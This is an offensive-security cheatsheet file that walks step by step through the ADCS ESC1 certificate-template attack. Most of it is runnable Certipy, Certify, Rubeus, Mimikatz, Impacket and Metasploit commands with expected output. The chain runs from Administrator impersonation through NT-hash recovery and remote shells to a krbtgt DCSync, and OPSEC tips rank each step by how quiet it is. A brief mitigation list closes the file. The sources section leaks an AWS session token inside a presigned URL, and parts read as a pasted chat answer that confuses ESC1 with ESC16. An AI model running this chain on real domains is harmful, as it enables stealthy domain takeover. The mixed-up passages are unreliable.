daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

esc1-san-specification-in-template.md (14403B)


      1 ---
      2 title: "ESC1 — SAN Specification in Template"
      3 description: "ESC1 is the most commonly encountered and most directly exploitable ADCS misconfiguration. The vulnerability exists at the certificate template level —…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs", "privilege-escalation", "hashing"]
      7 tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "Certipy"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC1 — SAN Specification in Template.md"
     11 ---
     12 # ESC1 — SAN Specification in Template
     13 
     14 ## Quick Reference
     15 
     16 | Field | Value |
     17 |-------|-------|
     18 | **Category** | Certificate Template Misconfiguration |
     19 | **Difficulty** | Low |
     20 | **Pre-requisites** | Low-priv domain creds + vulnerable template |
     21 | **Tools** | Certipy, Certify.exe, Rubeus |
     22 | **OPSEC Noise** | Low — only CA event logs (4886/4887) |
     23 | **One-liner** | Inject Administrator UPN into the SAN field of a CSR via a template with `ENROLLEE_SUPPLIES_SUBJECT` enabled — CA signs it, you authenticate as that user. |
     24 
     25 ***
     26 
     27 ## What Is ESC1?
     28 
     29 ESC1 is the most commonly encountered and most directly exploitable ADCS misconfiguration. The vulnerability exists at the **certificate template level** — specifically when a template allows the person requesting the certificate to freely specify a **Subject Alternative Name (SAN)** inside their Certificate Signing Request (CSR). A SAN is an extension in an X.509 certificate that binds an identity (e.g., a UPN like `administrator@domain.htb`) to the certificate. When the CA issues a certificate containing a SAN, Windows trusts that identity for authentication — it doesn't matter who actually requested the cert.
     30 
     31 The core danger: **you enroll as a low-privileged user but embed Administrator (or any domain account) into the SAN field. The CA signs it. You then authenticate as that user.** No password needed, no hash needed — the certificate *is* the identity.
     32 
     33 ***
     34 
     35 ## ESC1 — The Six Required Conditions
     36 
     37 All six must be true simultaneously for this to be exploitable:
     38 
     39 | # | Condition | What to Check in Certipy Output |
     40 |---|-----------|--------------------------------|
     41 | 1 | Low-privileged users have **enrollment rights** | `Enrollment Rights: DOMAIN\Domain Users` |
     42 | 2 | **Manager approval is off** | `Requires Manager Approval: False` |
     43 | 3 | **No authorized signatures required** | `Authorized Signatures Required: 0` |
     44 | 4 | Template security descriptor is **overly permissive** | Low-priv group in `Enrollment Rights` |
     45 | 5 | Template has an **authentication EKU** | `Client Authentication: True` or `Smart Card Logon`, `PKINIT`, `Any Purpose`, or no EKU |
     46 | 6 | **Enrollee Supplies Subject** is enabled | `Enrollee Supplies Subject: True` / `Certificate Name Flag: EnrolleeSuppliesSubject` |
     47 
     48 ***
     49 
     50 ## Understanding the Key Flag: `ENROLLEE_SUPPLIES_SUBJECT`
     51 
     52 This is the flag that makes ESC1 possible. It corresponds to the AD attribute `msPKI-Certificate-Name-Flag` with value `0x00000001`. When this is set, the CA does **not** build the subject name from Active Directory — it trusts whatever the requester submits. Microsoft's intent was for this to support non-AD scenarios (e.g., web server certificates). The misconfiguration is when this is combined with a template that also supports domain authentication EKUs .
     53 
     54 ***
     55 
     56 ## Step 0 — Initial Enumeration
     57 
     58 Before attacking, always enumerate first. This tells you CA names, template names, and which templates are vulnerable.
     59 
     60 ```bash
     61 # Full enumeration, filter only vulnerable, print to stdout
     62 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
     63   -dc-ip $TARGET -vulnerable -stdout
     64 
     65 # If you only have a hash (Pass-the-Hash)
     66 certipy-ad find -u 'lowpriv@domain.htb' \
     67   -hashes :NTHASH \
     68   -dc-ip $TARGET -vulnerable -stdout
     69 ```
     70 
     71 ### What a Vulnerable ESC1 Template Looks Like
     72 ```
     73 Certificate Templates
     74   Template Name                       : VulnTemplate
     75   Enabled                             : True
     76   Client Authentication               : True        ← Auth EKU ✓
     77   Enrollment Agent                    : False
     78   Any Purpose                         : False
     79   Enrollee Supplies Subject           : True         ← THE key flag ✓
     80   Certificate Name Flag               : EnrolleeSuppliesSubject
     81   Requires Manager Approval           : False        ← No approval ✓
     82   Authorized Signatures Required      : 0            ← No sig req ✓
     83   Permissions
     84     Enrollment Rights : DOMAIN\Domain Users          ← Low-priv enroll ✓
     85   [!] Vulnerabilities
     86     ESC1 : 'DOMAIN\Domain Users' can enroll, enrollee supplies subject
     87            and template allows client authentication
     88 ```
     89 
     90 ***
     91 
     92 ## Step 1 — Request the Certificate with Injected SAN
     93 
     94 The `-upn` flag is what injects the alternative identity into the SAN field of the CSR. You are requesting with your low-priv credentials, but embedding `Administrator` as the identity.
     95 
     96 ```bash
     97 # Using password
     98 certipy-ad req \
     99   -u 'lowpriv@domain.htb' \
    100   -p 'Password123!' \
    101   -dc-ip $TARGET \
    102   -ca 'DOMAIN-CA-NAME' \
    103   -template 'VulnerableTemplateName' \
    104   -upn 'administrator@domain.htb'
    105 
    106 # Using hash
    107 certipy-ad req \
    108   -u 'lowpriv@domain.htb' \
    109   -hashes :NTHASH \
    110   -dc-ip $TARGET \
    111   -ca 'DOMAIN-CA-NAME' \
    112   -template 'VulnerableTemplateName' \
    113   -upn 'administrator@domain.htb'
    114 ```
    115 
    116 **Expected output:**
    117 ```
    118 [*] Requesting certificate via RPC
    119 [*] Request ID is 58
    120 [*] Successfully requested certificate
    121 [*] Got certificate with UPN 'administrator@domain.htb'
    122 [*] Certificate has no object SID
    123 [*] Saving certificate and private key to 'administrator.pfx'
    124 ```
    125 
    126 > ⚠️ **`Certificate has no object SID`** — This is normal for ESC1. It means the cert was issued without an objectSID extension, so Windows falls back to UPN-based mapping. This is fine for older/default configurations. On patched systems (KB5014754 enforced), this *may* fail — but in most HTB/real-world scenarios you will still succeed.
    127 
    128 > ⚠️ **`The NETBIOS connection with the remote host timed out`** — This is a common transient RPC error. Simply re-run the command without `-dc-host`. Remove that flag if you added it, as shown in your Fluffy terminal output.
    129 
    130 ***
    131 
    132 ## Step 2 — Authenticate and Get TGT + NT Hash
    133 
    134 ```bash
    135 certipy-ad auth \
    136   -pfx administrator.pfx \
    137   -username administrator \
    138   -domain domain.htb \
    139   -dc-ip $TARGET
    140 ```
    141 
    142 **Expected output:**
    143 ```
    144 [*] Certificate identities:
    145 [*]     SAN UPN: 'administrator@domain.htb'
    146 [*] Using principal: 'administrator@domain.htb'
    147 [*] Trying to get TGT...
    148 [*] Got TGT
    149 [*] Saving credential cache to 'administrator.ccache'
    150 [*] Trying to retrieve NT hash for 'administrator'
    151 [*] Got hash for 'administrator@domain.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
    152 ```
    153 
    154 Certipy uses **PKINIT** (Public Key Cryptography for Initial Authentication) to trade the certificate for a Kerberos TGT, and then uses **U2U (User-to-User)** Kerberos to extract the NT hash from the TGT. You now have both a TGT and the NTLM hash.
    155 
    156 ***
    157 
    158 ## Step 3 — Use the TGT or Hash to Get a Shell
    159 
    160 **Option A — Kerberos TGT (recommended, opsec-safe):**
    161 ```bash
    162 export KRB5CCNAME=administrator.ccache
    163 
    164 # WMIexec
    165 wmiexec.py -k -no-pass DC01.domain.htb
    166 
    167 # Evil-WinRM with Kerberos
    168 evil-winrm -i DC01.domain.htb -r domain.htb
    169 
    170 # SMBexec
    171 smbexec.py -k -no-pass DC01.domain.htb
    172 
    173 # PSExec
    174 psexec.py -k -no-pass DC01.domain.htb
    175 ```
    176 
    177 > 💡 **DNS resolution is required for Kerberos.** Add the DC to `/etc/hosts`: `echo "$TARGET DC01.domain.htb domain.htb" >> /etc/hosts`
    178 
    179 **Option B — Pass-the-Hash (NT hash):**
    180 ```bash
    181 # Evil-WinRM with hash
    182 evil-winrm -i $TARGET -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
    183 
    184 # Impacket
    185 wmiexec.py administrator@$TARGET -hashes :8da83a3fa618b6e3a00e93f676c92a6e
    186 psexec.py administrator@$TARGET -hashes :8da83a3fa618b6e3a00e93f676c92a6e
    187 ```
    188 
    189 ***
    190 
    191 ## Windows Attack Path (Certify.exe + Rubeus)
    192 
    193 If you're already on a Windows foothold:
    194 
    195 ```powershell
    196 # Step 1: Request cert with alt SAN
    197 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:VulnTemplate /altname:administrator
    198 
    199 # Step 2: Copy cert.pem output, save it, convert with OpenSSL
    200 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    201 # Leave password blank when prompted
    202 
    203 # Step 3: Request TGT + dump NT hash with Rubeus
    204 .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
    205 
    206 # Step 4: Create sacrificial session and inject ticket
    207 .\Rubeus.exe createnetonly /program:powershell.exe /show
    208 .\Rubeus.exe ptt /ticket:<base64ticket>
    209 
    210 # Step 5: DCSync from injected session
    211 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'
    212 ```
    213 
    214 ***
    215 
    216 ## Real-World Example — Your Fluffy HTB Machine
    217 
    218 This is **exactly ESC16** on Fluffy, not ESC1 — but the exploitation chain you used is ESC16's UPN swap technique which *mimics* ESC1's outcome. Notice in your terminal:
    219 
    220 ```bash
    221 # You swapped ca_svc's UPN to 'administrator'
    222 certipy-ad account -u winrm_svc@fluffy.htb -hashes ... \
    223   -user ca_svc -upn administrator update
    224 
    225 # Requested cert via the User template (no ESC1 template needed — ESC16 bypasses it)
    226 certipy-ad req -u ca_svc -hashes ... -ca fluffy-DC01-CA -template User
    227 
    228 # Got cert with UPN 'administrator' — same end result as ESC1
    229 [*] Got certificate with UPN 'administrator'
    230 [*] Saving certificate and private key to 'administrator.pfx'
    231 ```
    232 
    233 In a **pure ESC1**, you would not need to manipulate any account's UPN first — you'd inject the UPN directly via `-upn` in the `certipy-ad req` command. ESC16 is covered later in the series.
    234 
    235 ***
    236 
    237 ## ESC1 Indicators Summary
    238 
    239 | Indicator | Vulnerable Value |
    240 |-----------|-----------------|
    241 | `msPKI-Certificate-Name-Flag` | `ENROLLEE_SUPPLIES_SUBJECT` (0x1) |
    242 | `msPKI-EnrollmentFlag` | Does NOT contain `PEND_ALL_REQUESTS` (0x2) |
    243 | `msPKI-RA-Signature` | `0` |
    244 | `pKIExtendedKeyUsage` | Contains `1.3.6.1.5.5.7.3.2` (Client Auth) or similar |
    245 | Enrollment ACL | Includes low-priv groups (`Domain Users`, `Authenticated Users`) |
    246 
    247 ***
    248 
    249 ## KB5014754 — Strong Certificate Binding Enforcement
    250 
    251 Microsoft's May 2022 patch (KB5014754) introduced the `szOID_NTDS_CA_SECURITY_EXT` SID extension into certificates. This can affect ESC1 exploitation on patched systems:
    252 
    253 | `StrongCertificateBindingEnforcement` Value | ESC1 Impact |
    254 |---|---|
    255 | `0` — Disabled | ✅ ESC1 works normally |
    256 | `1` — Compatibility mode (default post-patch) | ⚠️ ESC1 still works but generates audit events |
    257 | `2` — Full enforcement | ❌ ESC1 blocked — KDC validates objectSID in cert |
    258 
    259 ```bash
    260 # Check enforcement level on DC
    261 netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \
    262   -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement'
    263 ```
    264 
    265 > 💡 Most environments are still on compatibility mode (`1`) — ESC1 still works. Full enforcement (`2`) is rare because it breaks environments with legacy certs that lack the SID extension.
    266 
    267 ***
    268 
    269 ## OPSEC Considerations
    270 
    271 | Action | Log Generated | Noise Level |
    272 |--------|--------------|-------------|
    273 | Certipy enumeration (`find`) | LDAP queries | 🟢 Low |
    274 | Certificate request (`req`) | Event ID 4886 (request), 4887 (issued) on CA | 🟢 Low |
    275 | PKINIT authentication (`auth`) | Event ID 4768 (TGT request) on DC | 🟢 Low |
    276 | Pass-the-Hash after auth | Event ID 4624 Type 3/9 | 🟡 Medium |
    277 
    278 > 💡 ESC1 is the **quietest** ADCS attack — no AD object modifications, no template changes, no relay traffic. The only logs are on the CA (cert request) and DC (Kerberos auth). If you use the TGT path instead of PtH, it's even quieter.
    279 
    280 ***
    281 
    282 ## Additional Tool Support
    283 
    284 ```bash
    285 # Metasploit module
    286 use auxiliary/admin/dcerpc/icpr_cert
    287 set RHOSTS <CA-IP>
    288 set USERNAME lowpriv
    289 set PASSWORD Password123!
    290 set DOMAIN domain.htb
    291 set CA DOMAIN-CA-NAME
    292 set CERT_TEMPLATE VulnTemplate
    293 set ALT_UPN administrator@domain.htb
    294 run
    295 ```
    296 
    297 ***
    298 
    299 ## Mitigation
    300 
    301 - **Disable** `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` on any template that has authentication EKUs
    302 - **Restrict enrollment rights** — remove `Domain Users` / `Authenticated Users`; grant only specific service accounts
    303 - **Enable Manager Approval** on any template where SAN specification is business-required
    304 - **Set `StrongCertificateBindingEnforcement = 2`** on all DCs after re-issuing certificates with SID extensions
    305 - **Monitor** certificate requests where the SAN differs from the requester's identity (Event ID 4886/4887 on the CA)
    306 
    307 Sources
    308  redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf?AWSAccessKeyId=ASIA2F3EMEYE2RB7VN3N&Signature=6uwSMMzenwFOZlbo1P4KVYOKVio%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEMb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIQCDVU42sVlwQOfJERjsghflP45l3bVzzfRHElUL2965EgIgJ3%2Bdir2PwWMNTEVZ%2F7kmsFOsIPkzJJc0fig%2BsKzqVtsq%2FAQIjv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARABGgw2OTk3NTMzMDk3MDUiDLdQ6H8jp5zqDUG2zCrQBEUINgutUEVlTAtTqHdLzM1xiQIkB49UmP9AKI2%2FqkDL9ZYqkeHJIc0EP5SolM5Oo0L0R78Ky2dalTRl8zeJkt3x5DLocVtRl4wvSWxIxobyQCnQFwepMKq5pB8x0I9kJAZJgix05zBhSPUvNoSgcKxwq6p9tDc1HwNp0fGSf71%2B1xY7PYYACGQx%2FjpLbQNOMtrxIVkhbGDivWkG%2FE4RjOqYyvfMhSwN9RalfqlLuEfkRPmtwTwOlO2Z%2ByLWBMSeC5KE5M7CxTbW4w6kpbYz675BpTTvc%2Be%2Bj6SMC7jqIVTOvRhUzX1BE89eGl9fPkXZ%2F7RP%2BRvCySdjvGkN9Y%2BTZaYhs1dy0iljxfv35aYkTvmnVYE1YeEJy4U4yrWrtGEYuFr6PHvsGhq1BtSCxcZTqfdh%2BLTXNV%2BSaY3BV9F3dMp7TObOlMq5GCw31QzerzTt5SnRfC5Oy6xosBYGYSsD99hbsaAoM4wldLmvZPaU%2FQ9OYeUA2WnJ8YfomIk8oVa8zlNpTbcZiHwzruy4SU5qRnhLELCCFWNMMEpuKKRI0AsvWW50Ak9EbxwNjSsdFqFcKTFCdg2IYHWyTlqT%2B5gQBt%2BV63Q6%2B4fpZH2C6MQdI2OvNETFfJNaYPNFBKy4rpI%2F2ylRGww1%2B5iDVZeWZsC1%2F3zbidiWSGIOBGTUu2U%2BCn5ns7R0MC5mPpwqRSzCf14dWr5%2Fsfa8tws2%2FDUJKnQHHzMofecx%2BppjH8sXnLEl99qn9vmSsqcl50mnLI9ozZvZdd3nPhYPzEc1HpEk88a05ccwhdzAzgY6mAFv8g24saOF0u0nO6CvmEYWmNTBQUXADi20mRyrLMvH0fvzdutXTI5EWJKb3fe2QqOsl0ded9IQomVlCwPOjiSaGxdtA3iKxcJuGEMkxIDQtawntSKVlncFbwbEgiBMqiM9PuUckG58dIbgVcli9iHL3YFjyowff1MQ6zphRVvAdWKEspZ%2Bcne%2BUIf315efSksTiUze3N0DDQ%3D%3D&Expires=1775253889
    309  Screenshot-Perplexity-2026-04-03-at-18.54.05_Friday-2x.jpeg https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/images/14624338/bd5f25d5-7087-4cad-9068-50e9f63534f3/Screenshot-Perplexity-2026-04-03-at-18.54.05_Friday-2x.jpeg